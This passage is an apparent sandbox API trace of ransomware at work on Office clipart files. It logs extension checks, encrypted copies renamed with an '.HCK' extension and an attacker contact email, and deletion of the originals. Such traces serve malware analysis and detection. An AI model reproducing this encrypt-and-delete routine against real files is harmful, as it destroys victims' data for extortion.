lpString2="8.WMF") returned -1 [0166.118] lstrlenW (lpString=".pdf") returned 4 [0166.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.118] lstrlenW (lpString=".xls") returned 4 [0166.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.118] lstrlenW (lpString=".xlsx") returned 5 [0166.118] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.118] lstrlenW (lpString=".ppt") returned 4 [0166.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0166.118] lstrlenW (lpString=".zip") returned 4 [0166.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.118] lstrlenW (lpString=".rar") returned 4 [0166.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.118] lstrlenW (lpString=".bz2") returned 4 [0166.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.119] lstrlenW (lpString=".7z") returned 3 [0166.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0166.119] lstrlenW (lpString=".dbf") returned 4 [0166.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0166.119] lstrlenW (lpString=".1cd") returned 4 [0166.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0166.119] lstrlenW (lpString=".jpg") returned 4 [0166.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.119] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.119] lstrlenW (lpString="J0105306.WMF") returned 12 [0166.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0166.137] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4320) returned 1 [0166.137] CloseHandle (hObject=0x360) returned 1 [0166.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220 [0166.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0166.189] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.189] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0166.202] GetLastError () returned 0x0 [0166.202] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x10e0, lpOverlapped=0x0) returned 1 [0166.203] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x10f0, lpOverlapped=0x0) returned 1 [0166.204] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.204] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.204] SetEndOfFile (hFile=0x308) returned 1 [0166.207] CloseHandle (hObject=0x308) returned 1 [0166.208] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.209] SetEndOfFile (hFile=0x388) returned 1 [0166.213] CloseHandle (hObject=0x388) returned 1 [0166.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0166.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0166.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0166.220] lstrlenW (lpString=".doc") returned 4 [0166.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.220] lstrlenW (lpString=".docx") returned 5 [0166.220] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.220] lstrlenW (lpString=".pdf") returned 4 [0166.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.221] lstrlenW (lpString=".xls") returned 4 [0166.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.221] lstrlenW (lpString=".xlsx") returned 5 [0166.221] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.221] lstrlenW (lpString=".ppt") returned 4 [0166.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0166.221] lstrlenW (lpString=".zip") returned 4 [0166.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.221] lstrlenW (lpString=".rar") returned 4 [0166.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.221] lstrlenW (lpString=".bz2") returned 4 [0166.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.221] lstrlenW (lpString=".7z") returned 3 [0166.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0166.221] lstrlenW (lpString=".dbf") returned 4 [0166.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0166.221] lstrlenW (lpString=".1cd") returned 4 [0166.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0166.221] lstrlenW (lpString=".jpg") returned 4 [0166.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0166.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0166.221] lstrlenW (lpString=".doc") returned 4 [0166.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.221] lstrlenW (lpString=".docx") returned 5 [0166.221] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.221] lstrlenW (lpString=".pdf") returned 4 [0166.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.221] lstrlenW (lpString=".xls") returned 4 [0166.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.221] lstrlenW (lpString=".xlsx") returned 5 [0166.221] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.221] lstrlenW (lpString=".ppt") returned 4 [0166.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0166.221] lstrlenW (lpString=".zip") returned 4 [0166.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.221] lstrlenW (lpString=".rar") returned 4 [0166.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.221] lstrlenW (lpString=".bz2") returned 4 [0166.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.221] lstrlenW (lpString=".7z") returned 3 [0166.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0166.221] lstrlenW (lpString=".dbf") returned 4 [0166.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0166.222] lstrlenW (lpString=".1cd") returned 4 [0166.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0166.222] lstrlenW (lpString=".jpg") returned 4 [0166.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.222] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.222] lstrlenW (lpString="J0105336.WMF") returned 12 [0166.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0166.223] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2900) returned 1 [0166.223] CloseHandle (hObject=0x388) returned 1 [0166.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220 [0166.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0166.229] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.229] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0166.234] GetLastError () returned 0x0 [0166.234] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xb54, lpOverlapped=0x0) returned 1 [0166.236] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xb60, lpOverlapped=0x0) returned 1 [0166.238] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.238] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.238] SetEndOfFile (hFile=0x2e8) returned 1 [0166.241] CloseHandle (hObject=0x2e8) returned 1 [0166.243] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.244] SetEndOfFile (hFile=0x360) returned 1 [0166.250] CloseHandle (hObject=0x360) returned 1 [0166.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0166.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0166.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0166.258] lstrlenW (lpString=".doc") returned 4 [0166.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.258] lstrlenW (lpString=".docx") returned 5 [0166.258] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.258] lstrlenW (lpString=".pdf") returned 4 [0166.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.258] lstrlenW (lpString=".xls") returned 4 [0166.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.258] lstrlenW (lpString=".xlsx") returned 5 [0166.258] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.258] lstrlenW (lpString=".ppt") returned 4 [0166.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0166.258] lstrlenW (lpString=".zip") returned 4 [0166.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.258] lstrlenW (lpString=".rar") returned 4 [0166.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.258] lstrlenW (lpString=".bz2") returned 4 [0166.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.258] lstrlenW (lpString=".7z") returned 3 [0166.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0166.258] lstrlenW (lpString=".dbf") returned 4 [0166.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0166.258] lstrlenW (lpString=".1cd") returned 4 [0166.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0166.258] lstrlenW (lpString=".jpg") returned 4 [0166.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0166.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0166.258] lstrlenW (lpString=".doc") returned 4 [0166.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.258] lstrlenW (lpString=".docx") returned 5 [0166.258] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.258] lstrlenW (lpString=".pdf") returned 4 [0166.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.258] lstrlenW (lpString=".xls") returned 4 [0166.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.258] lstrlenW (lpString=".xlsx") returned 5 [0166.258] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.258] lstrlenW (lpString=".ppt") returned 4 [0166.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0166.258] lstrlenW (lpString=".zip") returned 4 [0166.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.258] lstrlenW (lpString=".rar") returned 4 [0166.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.259] lstrlenW (lpString=".bz2") returned 4 [0166.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.259] lstrlenW (lpString=".7z") returned 3 [0166.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0166.259] lstrlenW (lpString=".dbf") returned 4 [0166.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0166.259] lstrlenW (lpString=".1cd") returned 4 [0166.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0166.259] lstrlenW (lpString=".jpg") returned 4 [0166.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.259] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.259] lstrlenW (lpString="J0105360.WMF") returned 12 [0166.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0166.268] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8860) returned 1 [0166.268] CloseHandle (hObject=0x2e8) returned 1 [0166.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220 [0166.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.278] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.278] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0166.282] GetLastError () returned 0x0 [0166.282] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x229c, lpOverlapped=0x0) returned 1 [0166.284] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x22a0, lpOverlapped=0x0) returned 1 [0166.284] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.284] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.285] SetEndOfFile (hFile=0x308) returned 1 [0166.287] CloseHandle (hObject=0x308) returned 1 [0166.290] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.290] SetEndOfFile (hFile=0x364) returned 1 [0166.298] CloseHandle (hObject=0x364) returned 1 [0166.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0166.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0166.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0166.304] lstrlenW (lpString=".doc") returned 4 [0166.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.304] lstrlenW (lpString=".docx") returned 5 [0166.304] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.304] lstrlenW (lpString=".pdf") returned 4 [0166.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.304] lstrlenW (lpString=".xls") returned 4 [0166.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.304] lstrlenW (lpString=".xlsx") returned 5 [0166.304] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.304] lstrlenW (lpString=".ppt") returned 4 [0166.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0166.304] lstrlenW (lpString=".zip") returned 4 [0166.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.304] lstrlenW (lpString=".rar") returned 4 [0166.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.304] lstrlenW (lpString=".bz2") returned 4 [0166.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.304] lstrlenW (lpString=".7z") returned 3 [0166.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0166.304] lstrlenW (lpString=".dbf") returned 4 [0166.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0166.304] lstrlenW (lpString=".1cd") returned 4 [0166.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0166.304] lstrlenW (lpString=".jpg") returned 4 [0166.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0166.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0166.304] lstrlenW (lpString=".doc") returned 4 [0166.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.304] lstrlenW (lpString=".docx") returned 5 [0166.304] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.304] lstrlenW (lpString=".pdf") returned 4 [0166.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.304] lstrlenW (lpString=".xls") returned 4 [0166.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.305] lstrlenW (lpString=".xlsx") returned 5 [0166.305] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.305] lstrlenW (lpString=".ppt") returned 4 [0166.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 